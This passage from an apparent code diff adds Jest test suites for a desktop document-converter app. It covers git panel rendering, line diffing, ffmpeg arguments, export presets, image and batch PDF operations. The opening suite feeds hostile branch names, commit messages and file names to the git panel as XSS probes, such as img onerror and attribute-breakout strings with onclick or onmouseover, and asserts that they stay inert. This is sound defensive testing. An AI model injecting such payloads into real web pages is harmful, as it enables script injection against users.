 }
 function mountPanel(ops) {
  document.body.innerHTML = '';
  const container = document.createElement('div');
  document.body.appendChild(container);
  renderGitPanel(container, ops);
  return container;
 }
 describe('Git panel XSS escaping', () => {
  it('renders a hostile branch name as literal text with no img element in the DOM', async () => {
    const payload = '<img src=x onerror=alert(1)>';
    mountPanel(
      makeOps({
        gitBranches: jest.fn().mockResolvedValue({ all: [payload, 'master'], current: 'master' }),
      })
    );
    await flush();
    const branchesEl = document.getElementById('git-branches');
    expect(branchesEl.querySelectorAll('img')).toHaveLength(0);
    expect(branchesEl.textContent).toContain(payload);
    const item = branchesEl.querySelector('[data-branch]');
    expect(item).not.toBeNull();
    expect(item.dataset.branch).toBe(payload);
  });
  it('keeps a hostile branch name inert in attribute and text contexts', async () => {
    const payload = '" onclick="alert(1)" data-x="';
    mountPanel(
      makeOps({
        gitBranches: jest.fn().mockResolvedValue({ all: [payload], current: '' }),
      })
    );
    await flush();
    const item = document.querySelector('.git-branch-item');
    expect(item.dataset.branch).toBe(payload);
    expect(item.getAttribute('onclick')).toBeNull();
    expect(item.textContent).toContain(payload);
  });
  it('renders a commit message with an event-handler payload as inert text', async () => {
    const ops = makeOps({
      gitLog: jest.fn().mockResolvedValue({
        all: [
          {
            message: '<img src=x onerror=alert(1)> fix build',
            author_name: 'Attacker <script>alert(2)</script>',
            date: '2024-05-01T10:00:00',
          },
        ],
      }),
    });
    mountPanel(ops);
    await flush();
    const logEl = document.getElementById('git-log');
    expect(logEl.querySelectorAll('img, script')).toHaveLength(0);
    const msg = logEl.querySelector('.git-log-msg');
    expect(msg.textContent).toBe('<img src=x onerror=alert(1)> fix build');
    const meta = logEl.querySelector('.git-log-meta');
    expect(meta.textContent).toContain('Attacker <script>alert(2)</script>');
  });
  it('does not let a quoted file name break out of the data-file attribute', async () => {
    const evilFile = 'notes" onmouseover="alert(1)" data-evil="x.md';
    mountPanel(
      makeOps({ gitStatus: jest.fn().mockResolvedValue({ ...EMPTY_STATUS, modified: [evilFile] }) })
    );
    await flush();
    const fileRow = document.querySelector('.git-file');
    expect(fileRow.getAttribute('data-file')).toBe(evilFile);
    expect(fileRow.getAttribute('onmouseover')).toBeNull();
    expect(fileRow.getAttribute('data-evil')).toBeNull();
    expect(fileRow.textContent).toContain(evilFile);
    const stageBtn = fileRow.querySelector('.git-stage-btn');
    expect(stageBtn.dataset.file).toBe(evilFile);
  });
  it('escapes HTML in a git status error message', async () => {
    const error = 'fatal: <b>not</b> a git repository <img src=x onerror=alert(1)>';
    mountPanel(makeOps({ gitStatus: jest.fn().mockResolvedValue({ error }) }));
    await flush();
    const changesEl = document.getElementById('git-changes');
    expect(changesEl.querySelectorAll('img')).toHaveLength(0);
    expect(changesEl.querySelector('.git-info').textContent).toBe(error);
  });
  it('escapes HTML in a git branch listing error message', async () => {
    const error = 'refs/heads/<script>alert(1)</script> is invalid';
    mountPanel(makeOps({ gitBranches: jest.fn().mockResolvedValue({ error }) }));
    await flush();
    const branchesEl = document.getElementById('git-branches');
    expect(branchesEl.querySelectorAll('script')).toHaveLength(0);
    expect(branchesEl.querySelector('.git-info').textContent).toBe(error);
  });
  it('still renders benign branch names, files, and commits normally', async () => {
    mountPanel(
      makeOps({
        gitStatus: jest.fn().mockResolvedValue({ ...EMPTY_STATUS, modified: ['README.md'] }),
        gitLog: jest.fn().mockResolvedValue({
          all: [{ message: 'initial commit', author_name: 'Dev', date: '2024-05-01T10:00:00' }],
        }),
        gitBranches: jest.fn().mockResolvedValue({ all: ['master'], current: 'master' }),
      })
    );
    await flush();
    expect(document.querySelector('.git-file-name').textContent).toBe('README.md');
    expect(document.querySelector('.git-log-msg').textContent).toBe('initial commit');
    expect(document.querySelector('.git-branch-name').textContent).toContain('master');
  });
 });
@@ -0,0 +1,88 @@
 /**
 * Tests for the LCS line diff used by the Document Compare dialog
 * Covers: identical texts, pure additions, pure deletions, mixed edits, empty sides
 */
 const { computeLineDiff } = require('../src/utils/line-diff');
 describe('computeLineDiff', () => {
  it('reports every line as unchanged for identical texts', () => {
    const text = '# Title\n\nSome paragraph.\n- item 1\n- item 2';
    const result = computeLineDiff(text, text);
    expect(result).toHaveLength(5);
    expect(result.every((entry) => entry.type === 'unchanged')).toBe(true);
    expect(result.map((entry) => entry.text)).toEqual([
      '# Title',
      '',
      'Some paragraph.',
      '- item 1',
      '- item 2',
    ]);
  });
  it('reports only additions when lines were appended', () => {
    const result = computeLineDiff('# Title\n\nBody.', '# Title\n\nBody.\nNew line.\nAnother.');
    expect(result.filter((entry) => entry.type === 'removed')).toEqual([]);
    expect(result).toEqual([
      { type: 'unchanged', text: '# Title' },
      { type: 'unchanged', text: '' },
      { type: 'unchanged', text: 'Body.' },
      { type: 'added', text: 'New line.' },
      { type: 'added', text: 'Another.' },
    ]);
  });
  it('reports only removals when lines were deleted', () => {
    const result = computeLineDiff('Intro\nKeep me\nDrop me\nAlso drop', 'Intro\nKeep me');
    expect(result.filter((entry) => entry.type === 'added')).toEqual([]);
    expect(result).toEqual([
      { type: 'unchanged', text: 'Intro' },
      { type: 'unchanged', text: 'Keep me' },
      { type: 'removed', text: 'Drop me' },
      { type: 'removed', text: 'Also drop' },
    ]);
  });
  it('reports adjacent removed-then-added entries for a mixed change', () => {
    const result = computeLineDiff(
      '# Heading\nold paragraph\ntrailer',
      '# Heading\nnew paragraph\ntrailer'
    );
    expect(result).toEqual([
      { type: 'unchanged', text: '# Heading' },
      { type: 'removed', text: 'old paragraph' },
      { type: 'added', text: 'new paragraph' },
      { type: 'unchanged', text: 'trailer' },
    ]);
  });
  it('treats an empty old text as a pure addition', () => {
    expect(computeLineDiff('', 'a\nb')).toEqual([
      { type: 'added', text: 'a' },
      { type: 'added', text: 'b' },
    ]);
  });
  it('treats an empty new text as a pure removal', () => {
    expect(computeLineDiff('a\nb', '')).toEqual([
      { type: 'removed', text: 'a' },
      { type: 'removed', text: 'b' },
    ]);
  });
  it('ignores carriage-return differences between the two texts', () => {
    const result = computeLineDiff('one\r\ntwo\r\n', 'one\ntwo\n');
    expect(result).toEqual([
      { type: 'unchanged', text: 'one' },
      { type: 'unchanged', text: 'two' },
    ]);
  });
  it('ignores a purely trailing-newline difference', () => {
    const result = computeLineDiff('a\nb\n', 'a\nb');
    expect(result).toEqual([
      { type: 'unchanged', text: 'a' },
      { type: 'unchanged', text: 'b' },
    ]);
  });
 });
@@ -0,0 +1,63 @@
 const AudioOperations = require('../../src/main/AudioOperations');
 describe('AudioOperations argument builders', () => {
  test('buildConvertArgs builds correct ffmpeg args', () => {
    const args = AudioOperations.buildConvertArgs({ inputPath: '/a.wav', outputPath: '/b.mp3' });
    expect(args).toEqual(['-i', '/a.wav', '-y', '/b.mp3']);
  });
  test('buildTrimArgs builds correct trim args', () => {
    const args = AudioOperations.buildTrimArgs({
      inputPath: '/a.mp3',
      outputPath: '/b.mp3',
      startTime: 5,
      duration: 10,
    });
    expect(args).toEqual(['-i', '/a.mp3', '-ss', '5', '-t', '10', '-y', '/b.mp3']);
  });
  test('buildTrimArgs rejects non-finite startTime', () => {
    expect(() =>
      AudioOperations.buildTrimArgs({
        inputPath: '/a.mp3',
        outputPath: '/b.mp3',
        startTime: NaN,
        duration: 10,
      })
    ).toThrow('Invalid trim range');
  });
  test('buildMergeArgs builds concat-demuxer args and list content', () => {
    const { args, concatListContent } = AudioOperations.buildMergeArgs({
      inputPaths: ['/a.mp3', '/b.mp3'],
      outputPath: '/out.mp3',
    });
    expect(concatListContent).toContain("file '/a.mp3'");
    expect(concatListContent).toContain("file '/b.mp3'");
    expect(args).toContain('-f');
    expect(args).toContain('concat');
  });
 });
 describe('AudioOperations.executeOperation', () => {
  test('convert calls execFileFn with ffmpeg path and args, resolves success', async () => {
    const execFileFn = (cmd, args, opts, cb) => cb(null, '', '');
    const result = await AudioOperations.executeOperation(
      'convert',
      { inputPath: '/a.wav', outputPath: '/b.mp3' },
      { ffmpegPath: '/usr/bin/ffmpeg', execFileFn }
    );
    expect(result.success).toBe(true);
    expect(result.outputPath).toBe('/b.mp3');
  });
  test('unknown operation rejects', async () => {
    await expect(
      AudioOperations.executeOperation(
        'bogus',
        {},
        { ffmpegPath: '/usr/bin/ffmpeg', execFileFn: () => {} }
      )
    ).rejects.toThrow();
  });
 });
@@ -0,0 +1,196 @@
 /**
 * Tests for the export-preset persistence module (Task 21).
 * The module is pure list logic over the settings store's `exportPresets`
 * array; the store is injected, mirroring the SettingsStore test pattern.
 */
 const ExportPresets = require('../../src/main/ExportPresets');
 function createStore(initial = {}) {
  const data = { ...initial };
  return {
    get: (key, defaultValue) => (data[key] === undefined ? defaultValue : data[key]),
    set: (key, value) => {
      data[key] = value;
    },
    data,
  };
 }
 describe('ExportPresets', () => {
  describe('loadPresets', () => {
    test('returns an empty array when nothing is stored', () => {
      expect(ExportPresets.loadPresets(createStore())).toEqual([]);
    });
    test('returns the stored presets', () => {
      const store = createStore({
        exportPresets: [{ id: 'p1', name: 'Book PDF', format: 'pdf', options: { toc: true } }],
      });
      const presets = ExportPresets.loadPresets(store);
      expect(presets).toHaveLength(1);
      expect(presets[0].name).toBe('Book PDF');
    });
    test('returns an empty array when the stored value is corrupt (not an array)', () => {
      expect(ExportPresets.loadPresets(createStore({ exportPresets: 'garbage' }))).toEqual([]);
      expect(ExportPresets.loadPresets(createStore({ exportPresets: { p1: 1 } }))).toEqual([]);
    });
    test('drops malformed entries (missing id or name) from the stored array', () => {
      const store = createStore({
        exportPresets: [
          { id: 'p1', name: 'Good', format: 'pdf', options: {} },
          { name: 'No id', options: {} },
          { id: 'p3', options: {} },
          null,
        ],
      });
      const presets = ExportPresets.loadPresets(store);
      expect(presets).toHaveLength(1);
      expect(presets[0].id).toBe('p1');
    });
  });
  describe('savePreset', () => {
    test('adds a new preset with a generated id and persists it', () => {
      const store = createStore();
      const presets = ExportPresets.savePreset(store, {
        name: 'Book PDF',
        format: 'pdf',
        options: { toc: true, tocDepth: 3 },
      });
      expect(presets).toHaveLength(1);
      expect(presets[0].id).toMatch(/^preset-/);
      expect(presets[0].name).toBe('Book PDF');
      expect(presets[0].format).toBe('pdf');
      expect(presets[0].options).toEqual({ toc: true, tocDepth: 3 });
      expect(store.data.exportPresets).toEqual(presets);
    });
    test('upserts by id — saving with an existing id replaces the entry', () => {
      const store = createStore({
        exportPresets: [{ id: 'p1', name: 'Old name', format: 'pdf', options: { toc: false } }],
      });
      const presets = ExportPresets.savePreset(store, {
        id: 'p1',
        name: 'New name',
        format: 'docx',
        options: { toc: true },
      });
      expect(presets).toHaveLength(1);
      expect(presets[0]).toEqual({
        id: 'p1',
        name: 'New name',
        format: 'docx',
        options: { toc: true },
      });
      expect(store.data.exportPresets).toEqual(presets);
    });
    test('appends when the id is new, preserving existing presets', () => {
      const store = createStore({
        exportPresets: [{ id: 'p1', name: 'First', format: 'pdf', options: {} }],
      });
      const presets = ExportPresets.savePreset(store, {
        name: 'Second',
        format: 'html',
        options: {},
      });
      expect(presets).toHaveLength(2);
      expect(presets.map((p) => p.name)).toEqual(['First', 'Second']);
    });
    test('throws when the preset is not an object', () => {
      const store = createStore();
      expect(() => ExportPresets.savePreset(store, null)).toThrow('Preset must be an object');
      expect(() => ExportPresets.savePreset(store, 'nope')).toThrow('Preset must be an object');
    });
    test('throws when the name is missing or empty after trimming', () => {
      const store = createStore();
      expect(() => ExportPresets.savePreset(store, { name: '   ', options: {} })).toThrow(
        'Preset name is required'
      );
      expect(() => ExportPresets.savePreset(store, { options: {} })).toThrow(
        'Preset name is required'
      );
    });
    test('trims the name and caps it at 100 characters', () => {
      const store = createStore();
      const presets = ExportPresets.savePreset(store, { name: '  Spaced  ', options: {} });
      expect(presets[0].name).toBe('Spaced');
      const long = ExportPresets.savePreset(store, { name: 'x'.repeat(150), options: {} });
      expect(long[1].name).toHaveLength(100);
    });
    test('defaults a missing options object to {} and a missing format to null', () => {
      const store = createStore();
      const presets = ExportPresets.savePreset(store, { name: 'Bare' });
      expect(presets[0].options).toEqual({});
      expect(presets[0].format).toBeNull();
    });
    test('refuses to add beyond the preset cap', () => {
      const full = Array.from({ length: ExportPresets.MAX_PRESETS }, (_, i) => ({
        id: `p${i}`,
        name: `Preset ${i}`,
        format: 'pdf',
        options: {},
      }));
      const store = createStore({ exportPresets: full });
      expect(() => ExportPresets.savePreset(store, { name: 'One too many' })).toThrow(
        /more than \d+ export presets/
      );
    });
    test('still allows updating an existing preset when the list is full', () => {
      const full = Array.from({ length: ExportPresets.MAX_PRESETS }, (_, i) => ({
        id: `p${i}`,
        name: `Preset ${i}`,
        format: 'pdf',
        options: {},
      }));
      const store = createStore({ exportPresets: full });
      const presets = ExportPresets.savePreset(store, { id: 'p7', name: 'Updated' });
      expect(presets).toHaveLength(ExportPresets.MAX_PRESETS);
      expect(presets.find((p) => p.id === 'p7').name).toBe('Updated');
    });
    test('generates distinct ids for successive new presets', () => {
      const store = createStore();
      const a = ExportPresets.savePreset(store, { name: 'A' });
      const b = ExportPresets.savePreset(store, { name: 'B' });
      expect(a[0].id).not.toBe(b[1].id);
    });
  });
  describe('deletePreset', () => {
    test('removes the preset with the given id and returns the updated list', () => {
      const store = createStore({
        exportPresets: [
          { id: 'p1', name: 'Keep', format: 'pdf', options: {} },
          { id: 'p2', name: 'Drop', format: 'html', options: {} },
        ],
      });
      const presets = ExportPresets.deletePreset(store, 'p2');
      expect(presets).toHaveLength(1);
      expect(presets[0].id).toBe('p1');
      expect(store.data.exportPresets).toEqual(presets);
    });
    test('is idempotent when the id does not exist', () => {
      const store = createStore({
        exportPresets: [{ id: 'p1', name: 'Keep', format: 'pdf', options: {} }],
      });
      const presets = ExportPresets.deletePreset(store, 'missing');
      expect(presets).toHaveLength(1);
      expect(store.data.exportPresets).toHaveLength(1);
    });
  });
 });
@@ -0,0 +1,120 @@
 const fs = require('fs');
 const os = require('os');
 const path = require('path');
 const simpleGit = require('simple-git');
 const GitOperations = require('../../src/main/GitOperations');
 describe('GitOperations', () => {
  let tmpDir, filePath;
  beforeEach(async () => {
    tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'gitops_'));
    const git = simpleGit(tmpDir);
    await git.init();
    await git.addConfig('user.name', 'Test User');
    await git.addConfig('user.email', 'test@example.com');
    filePath = path.join(tmpDir, 'file.txt');
    fs.writeFileSync(filePath, 'line1\n');
    await git.add(['file.txt']);
    await git.commit('initial commit');
  });
  afterEach(() => fs.rmSync(tmpDir, { recursive: true, force: true }));
  describe('diff', () => {
    test('returns full working-tree diff when no file given', async () => {
      fs.writeFileSync(filePath, 'line1\nline2\n');
      const result = await GitOperations.diff(tmpDir);
      expect(typeof result).toBe('string');
      expect(result).toContain('file.txt');
      expect(result).toContain('+line2');
    });
    test('returns diff scoped to a single file', async () => {
      fs.writeFileSync(filePath, 'line1\nline2\n');
      const result = await GitOperations.diff(tmpDir, 'file.txt');
      expect(typeof result).toBe('string');
      expect(result).toContain('+line2');
    });
    test('returns error object for non-git directory', async () => {
      const nonGitDir = fs.mkdtempSync(path.join(os.tmpdir(), 'notgit_'));
      const result = await GitOperations.diff(nonGitDir);
      expect(result).toHaveProperty('error');
      fs.rmSync(nonGitDir, { recursive: true, force: true });
    });
    test('includes staged changes when againstHead is true', async () => {
      fs.writeFileSync(filePath, 'line1\nline2\n');
      await simpleGit(tmpDir).add('file.txt');
      const unstaged = await GitOperations.diff(tmpDir, 'file.txt');
      expect(unstaged).toBe('');
      const againstHead = await GitOperations.diff(tmpDir, 'file.txt', true);
      expect(againstHead).toContain('+line2');
    });
    test('returns error object for non-git directory when againstHead is true', async () => {
      const nonGitDir = fs.mkdtempSync(path.join(os.tmpdir(), 'notgit_'));
      const result = await GitOperations.diff(nonGitDir, null, true);
      expect(result).toHaveProperty('error');
      fs.rmSync(nonGitDir, { recursive: true, force: true });
    });
  });
  describe('branches', () => {
    test('returns local branch summary with current branch set', async () => {
      const result = await GitOperations.branches(tmpDir);
      expect(result).toHaveProperty('all');
      expect(result).toHaveProperty('current');
      expect(result).toHaveProperty('branches');
      expect(result.all).toContain(result.current);
    });
    test('returns error object for non-git directory', async () => {
      const nonGitDir = fs.mkdtempSync(path.join(os.tmpdir(), 'notgit_'));
      const result = await GitOperations.branches(nonGitDir);
      expect(result).toHaveProperty('error');
      fs.rmSync(nonGitDir, { recursive: true, force: true });
    });
  });
  describe('checkoutBranch', () => {
    test('creates and switches to a new branch when isNew is true', async () => {
      const result = await GitOperations.checkoutBranch(tmpDir, 'feature-x', true);
      expect(result).not.toHaveProperty('error');
      const branchInfo = await GitOperations.branches(tmpDir);
      expect(branchInfo.current).toBe('feature-x');
    });
    test('switches to an existing branch when isNew is false', async () => {
      const initialBranches = await GitOperations.branches(tmpDir);
      const original = initialBranches.current;
      await GitOperations.checkoutBranch(tmpDir, 'feature-y', true);
      const result = await GitOperations.checkoutBranch(tmpDir, original, false);
      expect(result).not.toHaveProperty('error');
      const branchInfo = await GitOperations.branches(tmpDir);
      expect(branchInfo.current).toBe(original);
    });
    test('returns error object when checking out a nonexistent branch', async () => {
      const result = await GitOperations.checkoutBranch(tmpDir, 'does-not-exist', false);
      expect(result).toHaveProperty('error');
    });
  });
  describe('push', () => {
    test('returns error object when no remote is configured', async () => {
      const result = await GitOperations.push(tmpDir);
      expect(result).toHaveProperty('error');
    });
  });
  describe('pull', () => {
    test('returns error object when no remote is configured', async () => {
      const result = await GitOperations.pull(tmpDir);
      expect(result).toHaveProperty('error');
    });
  });
 });
@@ -0,0 +1,124 @@
 const sharp = require('sharp');
 const fs = require('fs');
 const os = require('os');
 const path = require('path');
 const ImageOperations = require('../../src/main/ImageOperations');
 describe('ImageOperations', () => {
  let tmpDir, inputPath;
  beforeEach(async () => {
    tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'imgops_'));
    inputPath = path.join(tmpDir, 'in.png');
    await sharp({
      create: { width: 100, height: 100, channels: 3, background: { r: 255, g: 0, b: 0 } },
    })
      .png()
      .toFile(inputPath);
  });
  afterEach(() => fs.rmSync(tmpDir, { recursive: true, force: true }));
  test('imageConvert converts PNG to JPEG', async () => {
    const outputPath = path.join(tmpDir, 'out.jpg');
    const result = await ImageOperations.imageConvert({ inputPath, outputPath, format: 'jpeg' });
    expect(result.success).toBe(true);
    expect(fs.existsSync(outputPath)).toBe(true);
    const meta = await sharp(outputPath).metadata();
    expect(meta.format).toBe('jpeg');
  });
  test('imageResize resizes to given width preserving aspect', async () => {
    const outputPath = path.join(tmpDir, 'out.png');
    await ImageOperations.imageResize({
      inputPath,
      outputPath,
      width: 50,
      height: null,
      fit: 'inside',
    });
    const meta = await sharp(outputPath).metadata();
    expect(meta.width).toBe(50);
  });
  test('imageRotate rotates by given angle', async () => {
    const outputPath = path.join(tmpDir, 'out.png');
    await ImageOperations.imageRotate({ inputPath, outputPath, angle: 90 });
    const meta = await sharp(outputPath).metadata();
    expect(meta.width).toBe(100); // 90deg on square stays square
  });
  test('imageCompress produces a smaller or equal-size JPEG at low quality', async () => {
    const jpegPath = path.join(tmpDir, 'in.jpg');
    await sharp(inputPath).jpeg({ quality: 100 }).toFile(jpegPath);
    const outputPath = path.join(tmpDir, 'compressed.jpg');
    await ImageOperations.imageCompress({ inputPath: jpegPath, outputPath, quality: 10 });
    expect(fs.statSync(outputPath).size).toBeLessThanOrEqual(fs.statSync(jpegPath).size);
  });
  test('executeOperation dispatches to the correct function', async () => {
    const outputPath = path.join(tmpDir, 'out.png');
    const result = await ImageOperations.executeOperation('rotate', {
      inputPath,
      outputPath,
      angle: 180,
    });
    expect(result.success).toBe(true);
  });
  test('unknown operation throws', async () => {
    await expect(ImageOperations.executeOperation('bogus', {})).rejects.toThrow();
  });
 });
 describe('ImageOperations when sharp fails to load (boot resilience)', () => {
  // Reproduces the packaged-deb crash: the native @img/sharp-* bindings are
  // missing/pruned, so require('sharp') throws. Importing ImageOperations must
  // never crash the app at boot, and every operation must degrade honestly.
  const dlopenErrorMessage =
    'Could not load the "sharp" module using the linux-x64 runtime. ' +
    'ERR_DLOPEN_FAILED: libvips-cpp.so.8.17.3: cannot open shared object file ' +
    '(searched /opt/MarkdownConverter/resources/app.asar.unpacked/node_modules/@img/' +
    'sharp-linux-x64/lib, /opt/MarkdownConverter/resources/app.asar/node_modules/@img/' +
    'sharp-linux-x64/lib, ...)';
  let isolatedModule;
  beforeEach(() => {
    jest.resetModules();
    jest.doMock('sharp', () => {
      throw new Error(dlopenErrorMessage);
    });
    jest.isolateModules(() => {
      isolatedModule = require('../../src/main/ImageOperations');
    });
  });
  afterEach(() => {
    jest.dontMock('sharp');
  });
  test('requiring ImageOperations does not throw at import time', () => {
    expect(() => require('../../src/main/ImageOperations')).not.toThrow();
  });
  test("executeOperation('convert') resolves to an honest unavailable failure", async () => {
    const result = await isolatedModule.executeOperation('convert', {
      inputPath: '/tmp/imgops-resilience-in.png',
      outputPath: '/tmp/imgops-resilience-out.jpg',
      format: 'jpeg',
    });
    expect(result).toEqual({
      success: false,
      error: expect.stringContaining('Image operations unavailable'),
    });
  });
  test('the unavailable failure message carries no absolute paths', async () => {
    const result = await isolatedModule.executeOperation('rotate', {
      inputPath: '/tmp/imgops-resilience-in.png',
      outputPath: '/tmp/imgops-resilience-out.png',
      angle: 90,
    });
    expect(result.success).toBe(false);
    expect(result.error).not.toMatch(/\/opt\/|\/tmp\/|[A-Z]:\\/);
  });
 });
@@ -0,0 +1,338 @@
 /**
 * @jest-environment node
 *
 * PDFBatchOperations.js tests for Task 22's batch PDF operations: the folder
 * loop that applies one PDFOperations.executeOperation() op to every .pdf in an
 * input folder (optionally recursive) and mirrors the folder structure into the
 * output folder. Mirrors the real-PDF fixture conventions of
 * tests/main/PDFOperations.test.js (pdf-lib-built fixtures in a tmp dir).
 *
 * The watermark test doubles as the automated stand-in for the brief's manual
 * verification step ("batch-watermark a folder of 2-3 test PDFs, confirm each
 * output file has the watermark applied") — GUI batch runs are not possible in
 * this sandbox, so the assertion extracts the text back out of each output and
 * checks the watermark string is present.
 */
 const fs = require('fs');
 const os = require('os');
 const path = require('path');
 const sharp = require('sharp');
 const { PDFDocument, StandardFonts, rgb } = require('pdf-lib');
 const PDFOperations = require('../../src/main/PDFOperations');
 const {
  runPDFBatchOperation,
  PDF_BATCH_OUTPUT_SPEC,
 } = require('../../src/main/PDFBatchOperations');
 // Builds a small text PDF fixture with `pageCount` pages at the given path.
 async function writePdfFixture(filePath, pageCount = 2, label = 'Batch Fixture') {
  const doc = await PDFDocument.create();
  const font = await doc.embedFont(StandardFonts.Helvetica);
  for (let i = 1; i <= pageCount; i++) {
    const page = doc.addPage([600, 800]);
    page.drawText(`${label} Page ${i}`, { x: 50, y: 700, size: 20, font, color: rgb(0, 0, 0) });
  }
  fs.writeFileSync(filePath, await doc.save());
 }
 describe('PDFBatchOperations - runPDFBatchOperation', () => {
  let tmpDir, inputDir, outputDir;
  beforeEach(() => {
    tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'pdfbatch_'));
    inputDir = path.join(tmpDir, 'in');
    outputDir = path.join(tmpDir, 'out');
    fs.mkdirSync(inputDir);
    fs.mkdirSync(path.join(inputDir, 'sub'), { recursive: true });
  });
  afterEach(() => {
    fs.rmSync(tmpDir, { recursive: true, force: true });
  });
  // Runs a batch and returns { progress, completion } recorded from the
  // injected callbacks (same wiring main.js performs for the IPC handler).
  async function runBatch(args) {
    const progress = [];
    let completion = null;
    await runPDFBatchOperation({
      inputFolder: inputDir,
      outputFolder: outputDir,
      includeSubfolders: true,
      onProgress: (p) => progress.push(p),
      onComplete: (c) => {
        completion = c;
      },
      ...args,
    });
    return { progress, completion };
  }
  describe('watermark across a folder (brief manual-verification stand-in)', () => {
    beforeEach(async () => {
      await writePdfFixture(path.join(inputDir, 'a.pdf'), 2, 'Alpha');
      await writePdfFixture(path.join(inputDir, 'b.pdf'), 3, 'Beta');
      await writePdfFixture(path.join(inputDir, 'sub', 'c.pdf'), 2, 'Gamma');
      fs.writeFileSync(path.join(inputDir, 'notes.txt'), 'not a pdf');
    });
    it('watermarks every PDF including subfolders, mirroring the folder structure', async () => {
      // 'DRAFT' extracts back out cleanly via pdfjs; wider centered strings
      // (e.g. 'CONFIDENTIAL') hit a pdfjs-dist text-extraction quirk that
      // truncates the returned item even though the full text is drawn.
      const { completion } = await runBatch({
        operation: 'watermark',
        data: {
          text: 'DRAFT',
          fontSize: 48,
          opacity: 0.5,
          position: 'center',
          color: '#000000',
          pages: 'all',
        },
      });
      expect(completion).toEqual({
        success: true,
        completed: 3,
        failed: 0,
        total: 3,
        outputFolder: outputDir,
      });
      const outputs = [
        path.join(outputDir, 'a.pdf'),
        path.join(outputDir, 'b.pdf'),
        path.join(outputDir, 'sub', 'c.pdf'),
      ];
      for (const outPath of outputs) {
        expect(fs.existsSync(outPath)).toBe(true);
        const saved = await PDFDocument.load(fs.readFileSync(outPath));
        expect(saved.getPageCount()).toBeGreaterThan(0);
        const extracted = await PDFOperations.pdfExtractText({ inputPath: outPath });
        expect(extracted.success).toBe(true);
        expect(extracted.text).toContain('DRAFT');
      }
    });
    it('ignores non-PDF files', async () => {
      const { completion } = await runBatch({
        operation: 'compress',
        data: {},
      });
      expect(completion.total).toBe(3); // notes.txt excluded
    });
    it('skips subfolder files when includeSubfolders is false', async () => {
      const { completion } = await runBatch({
        operation: 'compress',
        includeSubfolders: false,
        data: {},
      });
      expect(completion.total).toBe(2); // sub/c.pdf excluded
    });
  });
  describe('per-op output mapping (PDF_BATCH_OUTPUT_SPEC)', () => {
    it('exposes exactly the batchable per-file operations', () => {
      expect(Object.keys(PDF_BATCH_OUTPUT_SPEC).sort()).toEqual(
        [
          'split',
          'compress',
          'rotate',
          'delete',
          'watermark',
          'extractText',
          'pageNumbers',
          'crop',
          'extractImages',
        ].sort()
      );
    });
    it('split writes part files into the mirrored output folder', async () => {
      await writePdfFixture(path.join(inputDir, 'a.pdf'), 4, 'Split Me');
      await writePdfFixture(path.join(inputDir, 'sub', 'b.pdf'), 2, 'Split Sub');
      const { completion } = await runBatch({
        operation: 'split',
        data: { splitMode: 'interval', interval: 2 },
      });
      expect(completion).toMatchObject({ success: true, completed: 2, failed: 0 });
      const part1 = await PDFDocument.load(fs.readFileSync(path.join(outputDir, 'a_part_1.pdf')));
      expect(part1.getPageCount()).toBe(2);
      const subPart = await PDFDocument.load(
        fs.readFileSync(path.join(outputDir, 'sub', 'b_part_1.pdf'))
      );
      expect(subPart.getPageCount()).toBe(2);
    });
    it('extractText writes one .txt per PDF', async () => {
      await writePdfFixture(path.join(inputDir, 'a.pdf'), 2, 'Text Alpha');
      const { completion } = await runBatch({ operation: 'extractText', data: {} });
      expect(completion).toMatchObject({ success: true, completed: 1 });
      const txt = fs.readFileSync(path.join(outputDir, 'a.txt'), 'utf8');
      expect(txt).toContain('Text Alpha Page 1');
      expect(txt).toContain('Text Alpha Page 2');
    });
    it('extractImages writes images into a per-PDF output directory', async () => {
      const imgPath = path.join(tmpDir, 'red.png');
      await sharp({
        create: { width: 20, height: 20, channels: 3, background: { r: 255, g: 0, b: 0 } },
      })
        .png()
        .toFile(imgPath);
      const doc = await PDFDocument.create();
      const page = doc.addPage([300, 300]);
      const png = await doc.embedPng(fs.readFileSync(imgPath));
      page.drawImage(png, { x: 50, y: 50, width: 100, height: 100 });
      fs.writeFileSync(path.join(inputDir, 'img.pdf'), await doc.save());
      const { completion } = await runBatch({ operation: 'extractImages', data: {} });
      expect(completion).toMatchObject({ success: true, completed: 1 });
      const expectedDir = path.join(outputDir, 'img');
      const files = fs.readdirSync(expectedDir);
      expect(files.length).toBeGreaterThanOrEqual(1);
      expect(files[0]).toMatch(/^img_page1_img1\.png$/);
    });
    it.each([
      ['compress', {}],
      ['rotate', { angle: 90 }],
      ['delete', { pages: '1' }],
      ['pageNumbers', { position: 'bottom-center', startNumber: 1 }],
      ['crop', { margins: { top: 10, bottom: 10, left: 10, right: 10 } }],
    ])('applies %s to every file via executeOperation', async (operation, data) => {
      await writePdfFixture(path.join(inputDir, 'a.pdf'), 2, 'Op Check');
      await writePdfFixture(path.join(inputDir, 'sub', 'b.pdf'), 2, 'Op Check Sub');
      const { completion } = await runBatch({ operation, data });
      expect(completion).toMatchObject({ success: true, completed: 2, failed: 0 });
      expect(fs.existsSync(path.join(outputDir, 'a.pdf'))).toBe(true);
      expect(fs.existsSync(path.join(outputDir, 'sub', 'b.pdf'))).toBe(true);
    });
  });
  describe('failure handling', () => {
    it('counts a corrupt PDF as failed and continues with the rest', async () => {
      await writePdfFixture(path.join(inputDir, 'good.pdf'), 1, 'Good');
      fs.writeFileSync(path.join(inputDir, 'corrupt.pdf'), 'this is not a pdf at all');
      const { completion } = await runBatch({ operation: 'compress', data: {} });
      expect(completion).toMatchObject({ success: true, completed: 1, failed: 1, total: 2 });
      expect(fs.existsSync(path.join(outputDir, 'good.pdf'))).toBe(true);
    });
    it('counts files over maxFileSize as failed without processing them', async () => {
      await writePdfFixture(path.join(inputDir, 'big.pdf'), 1, 'Big');
      const { completion } = await runBatch({
        operation: 'compress',
        data: {},
        maxFileSize: 10, // fixture is larger than 10 bytes
      });
      expect(completion).toMatchObject({ success: true, completed: 0, failed: 1, total: 1 });
      expect(fs.existsSync(path.join(outputDir, 'big.pdf'))).toBe(false);
    });
    it('rejects an operation that is not batchable', async () => {
      const { completion } = await runBatch({ operation: 'merge', data: {} });
      expect(completion.success).toBe(false);
      expect(completion.error).toMatch(/not supported/i);
    });
    it('rejects a missing input folder', async () => {
      const { completion } = await runBatch({
        operation: 'compress',
        inputFolder: path.join(tmpDir, 'does-not-exist'),
        data: {},
      });
      expect(completion).toEqual({ success: false, error: 'Input folder does not exist.' });
    });
